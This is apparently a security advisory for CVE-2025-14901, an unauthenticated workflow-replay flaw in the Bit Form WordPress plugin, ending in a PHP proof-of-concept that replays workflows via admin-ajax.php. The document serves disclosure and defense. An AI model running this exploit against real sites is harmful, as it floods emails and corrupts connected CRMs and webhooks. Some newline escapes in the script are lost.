Atomic Edge analysis of CVE-2025-14901 (metadata-based):
This vulnerability is a missing authorization flaw in the Bit Form WordPress plugin, allowing unauthenticated attackers to replay form workflow executions. The vulnerability exists in the triggerWorkFlow function accessible via the bitforms_trigger_workflow AJAX action. Attackers can trigger all configured integrations including webhooks, email notifications, and CRM connections by replaying captured submission data. The CVSS 6.5 score reflects medium severity with impacts on integrity and availability.
Atomic Edge research identifies the root cause as flawed nonce verification logic. The description states the security check only blocks requests when both nonce verification fails AND the user is logged in. This creates a conditional authorization bypass: unauthenticated requests bypass the nonce check entirely. This conclusion is inferred from the CWE-862 classification and the explicit description of the logic flaw. Without code access, Atomic Edge cannot confirm the exact implementation, but the pattern matches common WordPress authorization errors where is_user_logged_in() checks are improperly combined with nonce verification.
Exploitation requires two pieces of information from a legitimate form submission: the entry ID and log IDs. Attackers obtain these by intercepting form submission responses or through other information disclosure vectors. They then send a POST request to /wp-admin/admin-ajax.php with action=bitforms_trigger_workflow and the captured IDs. The vulnerability description confirms the endpoint and required parameters. No authentication or nonce is required. Attackers can replay the workflow execution repeatedly, triggering all configured integrations each time.
Remediation requires proper authorization checks independent of nonce verification. The fix likely adds an explicit capability check before executing the triggerWorkFlow function. WordPress best practice mandates checking current_user_can() with appropriate capabilities for AJAX handlers. The patched version 2.21.7 presumably implements such a check. Additionally, the nonce verification logic should be corrected to require valid nonces for all requests, not just authenticated ones. Proper separation of authentication and authorization layers prevents this bypass.
Successful exploitation allows unauthenticated attackers to trigger arbitrary workflow executions. This includes sending duplicate emails, posting to configured webhooks, updating connected CRMs with duplicate or fake data, and triggering automation platform actions. While confidentiality is not directly affected (C:N in CVSS), the integrity impact (I:L) stems from unauthorized data modifications in external systems. The availability impact (A:L) results from resource consumption through repeated workflow execution and potential email flooding. Attackers could abuse this for harassment campaigns or to disrupt business processes.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14901 - Bit Form – Contact Form Plugin <= 2.21.6 - Missing Authorization to Unauthenticated Workflow Replay
<?php
/**
* Proof of Concept for CVE-2025-14901
* Assumptions based on vulnerability description:
* 1. Endpoint: /wp-admin/admin-ajax.php
* 2. Action parameter: bitforms_trigger_workflow
* 3. Required parameters: entry_id and log_ids (obtained from legitimate submission)
* 4. No authentication or nonce required
* 5. POST request method
*
* This PoC simulates an attacker replaying captured workflow data.
* Replace TARGET_URL with the vulnerable WordPress site.
* Replace ENTRY_ID and LOG_IDS with values captured from a legitimate form submission.
*/
$target_url = 'https://vulnerable-site.com';
// These values must be obtained from a legitimate form submission response
$entry_id = '123'; // Example entry ID
$log_ids = '456'; // Example log IDs (may be comma-separated)
// Construct the AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Prepare the POST data
$post_data = array(
'action' => 'bitforms_trigger_workflow',
'entry_id' => $entry_id,
'log_ids' => $log_ids
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Requested-With: XMLHttpRequest',
'User-Agent: Atomic-Edge-PoC/1.0'
));
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Success indicators (may vary based on plugin response format)
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'triggered') !== false)) {
echo "[+] Workflow likely triggered successfullyn";
} else {
echo "[-] Workflow may not have executedn";
}
}
curl_close($ch);
?>
